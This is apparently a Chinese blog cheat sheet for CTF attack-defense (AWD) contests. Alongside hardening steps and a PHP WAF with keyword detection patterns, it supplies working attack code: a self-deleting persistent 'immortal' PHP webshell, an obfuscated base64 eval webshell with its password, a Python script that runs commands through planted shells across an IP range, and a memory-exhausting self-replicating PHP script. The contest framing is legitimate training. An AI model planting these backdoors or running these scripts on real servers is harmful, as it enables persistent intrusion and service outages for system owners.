CTF AWD

主要步骤

  • 源码打包备份
  • 部署 WAF(不要被下一条把写的权限搞丢了)
  • 更改目录权限 chmod 555 -R /var/www
  • 部署文件监控脚本(注意上一条)
  • 修改服务口令、约束服务外连
  • 查杀后门(D盾
  • 进行进程监控
  • 同步当前ssh用户主目录
  • 定期清理session目录、tmp目录
  • 代码审计、修补漏洞(SeayRIP

Tips

  • 拿到shell了就种不死马(直接不死马也行)
  • 批量的时候多一些垃圾流量去混淆
  • chattr +i 设定文件不能被删除、改名、设定链接关系,同时不能写入或新增内容。
  • 权限足够的情况下可以尝试修改curl等工具的权限或者直接删除???
  • 批量waf find "D:/phpStudy/WWW/www" -type f -path "*.php" | xargs sed -i "1i<?php require_once 'drop_wiki.php';?>"

常见漏洞类型

  • SQLI
  • 文件包含
  • RCE
  • 文件上传
  • CMS 0day
  • SSRF

部分源码备份

不死马

1
2
3
4
5
6
7
8
9
<?php
set_time_limit(0);
ignore_user_abort(1);
unlink(__FILE__);
while(1){
file_put_contents('1ndex.php','<?php @eval($_POST["CCcKNiFeee"]);?>');
sleep(30);
}
?>

压缩不死马

1
<?php set_time_limit(0);ignore_user_abort(1);unlink(__FILE__);while(1){ file_put_contents('1ndex.php','<?php @eval($_POST["CCcKNiFeee"]);?>'); sleep(30); }?>

普通混淆一句话

1
2
3
4
5
<?php
$func='c'.'r'.'e'.'a'.'t'.'e'.'_'.'f'.'u'.'n'.'c'.'t'.'i'.'o'.'n';
$test=$func('$x','e'.'v'.'a'.'l'.'(b'.'a'.'s'.'e'.'6'.'4'.'_'.'d'.'e'.'c'.'o'.'d'.'e($x));');
$test('QHNlc3Npb25fc3RhcnQoKTtpZihpc3NldCgkX1BPU1RbJ2NvZGUnXSkpeyhzdWJzdHIoc2hhMShtZDUoQCRfUE9TVFsnbGFrZXInXSkpLDM2KT09J2Y2NWYnKSYmJF9TRVNTSU9OWyd0aGVDb2RlJ109dHJpbSgkX1BPU1RbJ2NvZGUnXSk7fWlmKGlzc2V0KCRfU0VTU0lPTlsndGhlQ29kZSddKSl7QGV2YWwoYmFzZTY0X2RlY29kZSgkX1NFU1NJT05bJ3RoZUNvZGUnXSkpO30=');
?>

密码 laker=d4m1ts&code=c3lzdGVtKCJ3aG9hbWkiKTs=

WAF修改版

加载方法

  • root权限

vim php.ini

auto_append_file = “/dir/path/phpwaf.php”

重启Apache或者php-fpm就能生效了。

当然也可以写在 .user.ini 或者 .htaccess 中。

php_value auto_prepend_file “/dir/path/phpwaf.php”

  • user权限

如果是框架型应用,那麽就可以添加在入口文件,例如index.php,

如果不是框架应用,那麽可以在公共配置文件config.php等相关文件中包含。

include('phpwaf.php');

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
<?php
error_reporting(0);
//ini_set('display_errors', 1);
/*
** 线下攻防php版本waf
** drop.wiki
*/
class waf{
private $request_url;
private $request_method;
private $request_data;
private $headers;
private $raw;
/*
waf类
*/
// 自动部署构造方法
function __construct(){
//echo "class waf construct execute..</br>"; //debug code
$this->write_access_log_probably(); //记录访问纪录 类似于日志
$this->write_access_logs_detailed(); //纪录详细访问请求包
//echo "class waf construct execute..2</br>";
if($_SERVER['REQUEST_METHOD'] != 'POST' && $_SERVER['REQUEST_METHOD'] != 'GET'){
write_attack_log("method");
}
//echo "class waf construct execute..3</br>";
$this->request_url= $_SERVER['REQUEST_URI']; //获取url来进行检测
$this->request_data = file_get_contents('php://input'); //获取post
$this->headers =$this->get_all_headers(); //获取header
//echo "class waf construct execute half..</br>";
$this->filter_attack_keyword($this->filter_invisible(urldecode($this->filter_0x25($this->request_url)))); //对URL进行检测,出现问题则拦截并记录
$this->filter_attack_keyword($this->filter_invisible(urldecode($this->filter_0x25($this->request_data)))); //对POST的内容进行检测,出现问题拦截并记录
//echo "class waf construct execute..4</br>";
$this->detect_upload();
$this->gloabel_attack_detect();
//echo "class waf construct execute success..</br>";
}
//全局输入检测 基本的url和post检测过了则对所有输入进行简单过滤
function gloabel_attack_detect(){
foreach ($_GET as $key => $value) {
$_GET[$key] = $this->filter_dangerous_words($value);
}
foreach ($_POST as $key => $value) {
$_POST[$key] = $this->filter_dangerous_words($value);
}
foreach ($headers as $key => $value) {
$this->filter_attack_keyword($this->filter_invisible(urldecode(filter_0x25($value)))); //对http请求头进行检测,出现问题拦截并记录
$_SERVER[$key] = $this->filter_dangerous_words($value); //简单过滤
}
}
//拦截所有的文件上传 并记录上传操作 并将上传文件保存至系统tmp文件夹下
function detect_upload(){
foreach ($_FILES as $key => $value) {
if($_FILES[$key]['size']>1){
echo "upload file error";
$this->write_attack_log("Upload");
//move_uploaded_file($_FILES[$key]["tmp_name"],'/tmp/uoloadfiles/'.$_FILES[$key]["name"]);
exit(0);
}
}
}
//记录每次大概访问记录,类似日志,以便在详细记录中查找
function write_access_log_probably() {
$raw = date("Y/m/d H:i:s").' ';
$raw .= $_SERVER['REQUEST_METHOD'].' '.$_SERVER['REQUEST_URI'].' '.$_SERVER['REMOTE_ADDR'].' ';
$raw .= 'POST: '.file_get_contents('php://input')."\r\n";
$ffff = fopen('all_requests.txt', 'a'); //日志路径
fwrite($ffff, $raw);
fclose($ffff);
}
//记录详细的访问头记录,包括GET POST http头 以获取通防waf未检测到的攻击payload
function write_access_logs_detailed(){
$data = date("Y/m/d H:i:s")." -- "."\r\n".$this->get_http_raws()."\r\n\r\n";
$ffff = fopen('all_requests_detail.txt', 'a'); //日志路径
fwrite($ffff, urldecode($data));
fclose($ffff);
}
/*
获取http请求头并写入数组
*/
function get_all_headers() {
$headers = array();
foreach($_SERVER as $key => $value) {
if(substr($key, 0, 5) === 'HTTP_') {
$headers[$key] = $value;
}
}
return $headers;
}
/*
检测不可见字符造成的截断和绕过效果,注意网站请求带中文需要简单修改
*/
function filter_invisible($str){
for($i=0;$i<strlen($str);$i++){
$ascii = ord($str[$i]);
if($ascii>126 || $ascii < 32){ //有中文这里要修改
if(!in_array($ascii, array(9,10,13))){
write_attack_log("interrupt");
}else{
$str = str_replace($ascii, " ", $str);
}
}
}
$str = str_replace(array("`","|",";",","), " ", $str);
return $str;
}
/*
检测网站程序存在二次编码绕过漏洞造成的%25绕过,此处是循环将%25替换成%,直至不存在%25
*/
function filter_0x25($str){
if(strpos($str,"%25") !== false){
$str = str_replace("%25", "%", $str);
return filter_0x25($str);
}else{
return $str;
}
}
/*
攻击关键字检测,此处由于之前将特殊字符替换成空格,即使存在绕过特性也绕不过正则的\b
*/
function filter_attack_keyword($str){
if(preg_match("/select\b|insert\b|update\b|drop\b|delete\b|union\b|into\b|dumpfile\b|substr|hex\b|outfile\b|load_file|rename\b|floor|extractvalue|updatexml|name_const|multipoint\(/i", $str)){
$this->write_attack_log("sqli");
}
//文件包含的检测
if(substr_count($str,$_SERVER['PHP_SELF']) < 2){
$tmp = str_replace($_SERVER['PHP_SELF'], "", $str);
if(preg_match("/\.\.|php:\/\/|.*\.php[35]{0,1}/i", $tmp)){
$this->write_attack_log("LFI/LFR");;
}
}else{
$this->write_attack_log("LFI/LFR");
}
if(preg_match("/base64_decode|eval\(|assert\(|file_put_contents|fwrite|curl|system|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|tony|proc_open|pcntl_exec|proc_get_status|popen|ini_alter|ini_restorei|wget|echo|cat/i", $str)){
$this->write_attack_log("EXEC");
}
// SSRF的正则表达式添加 http:\/\/ 后面flag机的地址
if(preg_match("/gopher:\/\/|dict:\/\/|file:\/\//i", $str)){
$this->write_attack_log("SSRF");
}
if(preg_match("/flag/i", $str)){
$this->write_attack_log("GETFLAG");
}
}
/*
简单将易出现问题的字符替换成中文
*/
function filter_dangerous_words($str){
$str = str_replace("'", "‘", $str);
$str = str_replace("\"", "“", $str);
$str = str_replace("<", "《", $str);
$str = str_replace(">", "》", $str);
return $str;
}
/*
获取http的请求包,意义在于获取别人的攻击payload
*/
function get_http_raws() {
$raw = '';
$raw .= $_SERVER['REQUEST_METHOD'].' '.$_SERVER['REQUEST_URI'].' '.$_SERVER['SERVER_PROTOCOL']."\r\n";
foreach($_SERVER as $key => $value) {
if(substr($key, 0, 5) === 'HTTP_') {
$key = substr($key, 5);
$key = str_replace('_', '-', $key);
$raw .= $key.': '.$value."\r\n";
}
}
$raw .= "\r\n";
$raw .= file_get_contents('php://input');
return $raw;
}
/*
这里拦截并记录攻击payload 第一个参数为记录类型 第二个参数是日志内容 使用时直接调用函数
*/
function write_attack_log($alert){
$data = date("Y/m/d H:i:s")." -- [".$alert."]"."\r\n".$this->get_http_raws()."\r\n\r\n";
$ffff = fopen('attack_detected_log.txt', 'a'); //日志路径
fwrite($ffff, $data);
fclose($ffff);
if($alert == 'GETFLAG'){
echo "STCTF{".md5(rand(10,100))."}"; //如果请求带有flag关键字,显示假的flag。(2333333)
}else{
//sleep(3); //拦截前延时3秒
echo "STCTF{".md5(rand(10,100))."}";
}
exit(0);
}
}
$waf = new waf();
?>

一句话批量(py2 3 通用)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
# -*- coding:utf-8 -*-
import requests
# ------------------------------------- CONFIG -----------------------------------
# 目标网段
ips_suffix = '192.168.1.'
ip_first = 103
ip_end = 105
# 目标协议 http or https
schema = 'http'
# shell相对路径
path = '/temp/shell.php'
# headers
headers = {'USER-AGENT': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0'}
# cookies 直接burp抓到的cookie即可
cookie = 'PHPSESSID=eooaqev53m4sqft7csm55eh1l5' # burp抓到的cookie替换此处
# shell密码
shell_pass = 'CCcKNiFeee'
# 执行的系统命令
exec_command = 'whoami'
# -------------------------------------- parama -------------------------------------
cookies = {}
cookie = cookie.split(';')
for one_cookie in cookie:
key,value = one_cookie.split('=',1)
cookies[key.strip(' ')] = value
data = {shell_pass:'system("{exec_command}");'.format(exec_command=exec_command)}
# -------------------------------------- attrack ------------------------------------
for ip in range(ip_first,ip_end+1):
shell_url = schema + '://' + ips_suffix + str(ip) + path
try:
result = requests.post(shell_url,headers=headers,cookies=cookies,data=data,timeout=3).text
print (result)
except:
print (shell_url + '\tTIMEOUT!!!')

搅屎棍

  • 1

常驻内存之后,进入死循环。

循环内部是实现无效複製自身并且访问web服务的功能。

执行的后果就是内存爆炸,php就GG了,严重点的话,Docker也GG。

1
2
3
4
5
6
7
8
<?php
set_time_limit(0);
ignore_user_abort(true);
while(1){
file_put_contents(randstr().'.php',file_get_content(__FILE__));
file_get_contents("http://127.0.0.1/");
}
?>

Github 项目推荐

CTFDefense
流量分析

文章推荐

1

Powered by Hexo and Hexo-theme-hiker

Copyright © 2017 - 2018 Damit5's Blog All Rights Reserved.

UV : | PV :